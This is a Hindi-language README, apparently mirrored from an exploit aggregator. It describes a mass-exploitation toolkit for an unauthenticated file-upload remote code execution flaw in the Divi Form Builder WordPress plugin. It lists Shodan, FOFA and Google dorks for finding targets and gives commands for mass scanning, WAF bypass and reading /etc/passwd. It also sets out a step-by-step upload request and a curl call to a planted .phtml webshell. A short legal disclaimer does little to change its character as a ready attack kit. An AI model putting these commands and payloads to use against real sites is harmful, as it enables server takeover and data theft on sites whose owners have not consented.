Exploit for CVE-2026-5524-PoC

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-CATERSCAM-CVE-2026-5524-POC
# CVE-2026-5524 — Divi Form Builder में अप्रमाणिक RCE

**CVE-2026-5524** के लिए मास एक्सप्लॉइट टूलकिट, जो WordPress प्लगइन **Divi Form Builder <= 5.1.8** में एक अप्रमाणिक मनमाना फ़ाइल अपलोड भेद्यता है, जो रिमोट कोड निष्पादन की ओर ले जाती है।

![version](https://img.shields.io/badge/version-1.0.0-blue?style=flat-square) ![Devon Aji](https://img.shields.io/badge/author-Devon_Aji-orange?style=flat-square) ![python](https://img.shields.io/badge/python-3.8+-green?style=flat-square&logo=python) ![telegram](https://img.shields.io/badge/telegram-caterscam-2CA5E0?style=flat-square&logo=telegram)

फील्ड| मान  
---|---  
CVE| 2026-5524  
CVSS| 9.8 (गंभीर)  
वेक्टर| AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H  
प्रभावित| Divi Form Builder <= 5.1.8  
पैच| 5.1.9  
प्रकार| अप्रमाणिक फ़ाइल अपलोड से RCE  
शोधकर्ता| 0xd4rk5id3 - EnvoraSec  
  
* * *

## विषयसूची

  * विवरण
  * डॉर्क्स
  * स्थापना
  * उपयोग
    * एकल लक्ष्य
    * सामूहिक शोषण
    * उन्नत बायपास
    * कमांड निष्पादन
  * भेद्यता विवरण
  * बायपास तकनीकें
  * तकनीकी स्टैक
  * प्रोजेक्ट संरचना
  * हमला प्रवाह
  * अस्वीकरण



* * *

## विवरण

WordPress के लिए Divi Form Builder प्लगइन में एक अप्रमाणिक मनमाना फ़ाइल अपलोड भेद्यता है। `do_image_upload()` हैंडलर उपयोगकर्ता-नियंत्रित `acceptFileTypes` POST पैरामीटर को सीधे एक रेगुलर एक्सप्रेशन में पास करता है जिसका उपयोग फ़ाइल एक्सटेंशन को मान्य करने के लिए किया जाता है। `phtml` जैसा मान प्रदान करके, एक हमलावर प्लगइन के `.htaccess` नियम को बायपास कर सकता है जो केवल `.php` एक्सटेंशन को ब्लॉक करता है और PHP-निष्पादन योग्य एक्सटेंशन (`.phtml`, `.phar`, `.php5`, `.php7`, और इसी तरह) के साथ एक वेबशेल अपलोड कर सकता है।

एक बार फ़ाइल `/wp-content/uploads/de_fb_uploads/` में पहुंच जाती है, Apache इसे PHP के रूप में निष्पादित करता है, जिससे हमलावर को वेब सर्वर उपयोगकर्ता के रूप में रिमोट कोड निष्पादन मिलता है।

यह समस्या Divi Form Builder 5.1.9 में ठीक की गई है।

* * *

## डॉर्क्स

### FOFA

root@kitploit:~
    
    
    body="de_fb_obj" && body="fb_nonce"
    

### Shodan

root@kitploit:~
    
    
    http.html:"de_fb_obj" http.html:"fb_nonce"
    

### Google

root@kitploit:~
    
    
    inurl:"/wp-content/plugins/divi-form-builder/"
    

### ZoomEye

root@kitploit:~
    
    
    app:"WordPress" && body:"de_fb_obj"
    

### Censys

root@kitploit:~
    
    
    services.http.response.body: "de_fb_obj"
    

* * *

## स्थापना

आवश्यकताएँ: Linux, macOS, या WSL पर Python 3.8 या नया।

root@kitploit:~
    
    
    git clone https://github.com/caterscam/CVE-2026-5524-PoC/
    cd CVE-2026-5524-PoC
    pip3 install -r requirements.txt
    

requirements.txt

root@kitploit:~
    
    
    requests>=2.28.0
    urllib3>=1.26.0
    

* * *

## उपयोग

### एकल लक्ष्य

root@kitploit:~
    
    
    python3 CVE-2026-5524.py -u https://target.com
    

### सामूहिक शोषण

root@kitploit:~
    
    
    python3 CVE-2026-5524.py -l targets.txt --shell-file bypass.phtml --aggressive --no-verify -o pwned.jsonl -t 20
    

### उन्नत बायपास

WAF (NinjaFirewall, Wordfence, ModSecurity) या कड़े Apache या nginx कॉन्फ़िगरेशन वाले लक्ष्यों के लिए।

root@kitploit:~
    
    
    python3 CVE-2026-5524.py -u https://target.com --shell-file bypass.phtml --aggressive --no-verify --debug
    

### कमांड निष्पादन

सफल अपलोड के बाद, स्क्रिप्ट तुरंत एक कमांड निष्पादित कर सकती है या एक इंटरैक्टिव शेल में प्रवेश कर सकती है।

root@kitploit:~
    
    
    python3 CVE-2026-5524.py -u https://target.com --cmd "id; uname -a; cat /etc/passwd"
    python3 CVE-2026-5524.py -u https://target.com --shell
    

### फ़्लैग

* * *

## भेद्यता विवरण

### कमजोर कोड

कमजोर हैंडलर उपयोगकर्ता इनपुट से बिना सैनिटाइजेशन के एक रेगुलर एक्सप्रेशन बनाता है।

root@kitploit:~
    
    
    public function do_image_upload() {
        $accepted = $_POST['acceptFileTypes'];
        $pattern  = '/\\.(' . $accepted . ')$/i';
    
        if (preg_match($pattern, $filename)) {
            move_uploaded_file($tmp, $dest);
        }
    }
    

`acceptFileTypes=phtml` भेजने पर, परिणामी रेगुलर एक्सप्रेशन `/\.(phtml)$/i` `.phtml` में समाप्त होने वाले फ़ाइलनामों से मेल खाता है, भले ही प्लगइन का अपना `.htaccess` फ़ाइल केवल `.php` एक्सटेंशन को ब्लॉक करता है। Apache फिर अपलोड की गई फ़ाइल को PHP के रूप में निष्पादित करता है, जिससे रिमोट कोड निष्पादन होता है।

### पुष्ट हमला श्रृंखला

  1. एक पेज को क्रॉल करें जिसमें Divi Form Builder फ़ॉर्म एम्बेडेड है (`/`, `/contact`, `/quote`, आदि)। Varnish, WP Rocket और अन्य पेज कैश को हराने के लिए एक `?nocache=<random>` पैरामीटर जोड़ें जो अन्यथा एक पुराना नॉन्स प्रस्तुत करेगा।

  2. स्थानीयकृत JavaScript ऑब्जेक्ट से `fb_nonce` मान निकालें:

root@kitploit:~
         
         de_fb_obj = {"fb_nonce":"<10 hex characters>", ...}
         

  3. `/wp-admin/admin-ajax.php` पर मल्टीपार्ट फॉर्म POST करें:

root@kitploit:~
         
         action=de_fb_image_upload
         fb_nonce=<nonce>
         acceptFileTypes=phtml
         some-email@example.com
         

  4. JSON प्रतिक्रिया से फ़ाइल URL पढ़ें:

root@kitploit:~
         
         {"files":[{"name":"abc123.phtml","url":"https://target/wp-content/uploads/de_fb_uploads/abc123.phtml",...}]}
         

  5. बेस64-एन्कोडेड कमांड के साथ शेल का अनुरोध करें:

root@kitploit:~
         
         curl "https://target/wp-content/uploads/de_fb_uploads/abc123.phtml?x=$(echo -n id | base64)"
         




* * *

## बायपास तकनीकें

स्क्रिप्ट प्राथमिकता क्रम में प्रत्येक तकनीक का प्रयास करती है और, जब `--aggressive` सेट होता है, तो पहली अपलोड सफलता रिपोर्ट करने के बाद भी हर एक का प्रयास करती है।

* * *

## तकनीकी स्टैक

### शोषण स्क्रिप्ट

### कस्टम शेल (bypass.phtml)

* * *

## प्रोजेक्ट संरचना

root@kitploit:~
    
    
    cve-2026-5524/
    |-- CVE-2026-5524.py          मुख्य शोषण स्क्रिप्ट
    |-- bypass.phtml              16 KB मल्टी-लेयर PHP वेबशेल
    |-- htaccess_enable.phtml     ड्रॉपर जो पुनः-सक्षम .htaccess लिखता है
    |-- user_ini.phtml            ड्रॉपर जो PHP-FPM के लिए .user.ini लिखता है
    |-- targets.txt               उदाहरण लक्ष्य सूची
    |-- pwned.jsonl               सामूहिक स्कैन के दौरान -o फ़्लैग द्वारा उत्पन्न
    |-- requirements.txt          Python निर्भरताएँ
    `-- README.md                 यह दस्तावेज़
    

* * *

## हमला प्रवाह

root@kitploit:~
    
    
    +--------------------------------------------------+
    | 1. टोही                                          |
    |    GET /?nocache=<random>                        |
    |    de_fb_obj से fb_nonce पार्स करें                |
    +-------------------------+------------------------+
                              |
                              v
    +--------------------------------------------------+
    | 2. शोषण तैयार करें                               |
    |    POST /wp-admin/admin-ajax.php                 |
    |    action=de_fb_image_upload                     |
    |    acceptFileTypes=phtml                         |
    |    some-email@example.com                             |
    +-------------------------+------------------------+
                              |
                              v
    +--------------------------------------------------+
    | 3. सर्वर फ़ाइल स्वीकार करता है और संग्रहीत करता है|
    |    /uploads/de_fb_uploads/<random>.phtml         |
    +-------------------------+------------------------+
                              |
                              v
    +--------------------------------------------------+
    | 4. निष्पादित करें                                |
    |    GET shell.phtml?x=base64(command)             |
    |    रिमोट कोड निष्पादन प्राप्त हुआ                |
    +--------------------------------------------------+
    

* * *

## अस्वीकरण

यह उपकरण केवल शैक्षिक उद्देश्यों और अधिकृत पैठ परीक्षण अभियानों के दौरान उपयोग के लिए प्रदान किया गया है। स्वीकार्य उपयोग के उदाहरणों में शामिल हैं:

  * बग बाउंटी प्रोग्राम जो स्पष्ट रूप से लक्ष्य के परीक्षण की अनुमति देते हैं
  * कैप्चर द फ़्लैग प्रतियोगिताएँ और समर्पित प्रयोगशाला वातावरण
  * संपत्ति स्वामी से लिखित अनुमति के साथ आंतरिक सुरक्षा मूल्यांकन
  * नियंत्रित सेटिंग में किए गए शैक्षणिक सुरक्षा अनुसंधान



उन प्रणालियों के विरुद्ध अनधिकृत उपयोग जिनके आप स्वामी नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति नहीं है, लगभग हर क्षेत्राधिकार में अवैध है और सख्ती से प्रतिबंधित है। लेखक इस कोड के दुरुपयोग का समर्थन नहीं करता है और न ही इसके लिए जिम्मेदारी लेता है।

> J'ai la permission et je suis autorisé à effectuer ce pentest. _(मेरे पास अनुमति है और मैं इस पेंटेस्ट को करने के लिए अधिकृत हूं)_

संभावित रूप से प्रासंगिक कानूनों में इंडोनेशिया का UU ITE, संयुक्त राज्य अमेरिका का कंप्यूटर फ्रॉड एंड अब्यूज़ एक्ट, यूरोपीय संघ का साइबरक्राइम कन्वेंशन और अन्य स्थानों पर समान कानून शामिल हैं। संदेह होने पर, पहले लिखित प्राधिकरण प्राप्त करें।

* * *

## लाइसेंस

केवल शैक्षिक उपयोग। पूर्ण उपयोग शर्तों के लिए अस्वीकरण अनुभाग देखें।